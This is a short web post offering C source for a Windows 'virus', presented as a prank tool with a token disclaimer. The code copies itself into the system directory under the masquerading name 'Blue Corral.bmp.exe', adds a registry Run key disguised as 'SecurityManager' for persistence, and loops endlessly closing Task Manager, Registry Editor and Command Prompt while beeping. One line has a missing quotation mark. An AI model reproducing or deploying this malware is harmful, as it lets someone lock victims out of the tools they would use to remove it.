Virus Code in C

You can make or add a harming virus by own.

• Use them for good works.
• You can also use it to prank your friends.
• Please don't harm anybody severely.Its just for knowledge.

The code is given below:



#include "stdafx.h"
#include "windows.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR     lpCmdLine,
                    int       nCmdShow)
{
HKEY hKey;
char sd[255];
char path[MAX_PATH];
int Freq = 0;
int Duration = 100;
bool Forwards = true;
bool Backwards = false;
int timer = 0;
HWND hWin;
HMODULE GetModH = GetModuleHandle(0);
GetModuleFileName(GetModH, path, 256);

GetSystemDirectory(sd,255);

strcat(sd,"\\Blue Corral.bmp.exe");
CopyFile(path,sd,FALSE);
unsigned char PathToFile[20] = "Blue Corral.bmp.exe";

RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, SecurityManager",0,REG_SZ,PathToFile,sizeof(PathToFile));
RegCloseKey(hKey);

while(1==1)
 {

hWin = FindWindow(NULL,"Windows Task Manager");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,"Registry Editor");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,"Command Prompt");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,"Close Program");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

if(Backwards==true)
{
Beep(Freq,Duration);
Freq = Freq - 100;
timer = timer - 1;
}
if (timer == 0)
{
Backwards = false;
Forwards = true;
}

if (timer == 30)
{
Backwards = true;
Forwards = false;
}
if(Forwards==true)
{
Beep(Freq,Duration);
Freq = Freq + 100;
timer = timer + 1;
}
 }
return 0;
}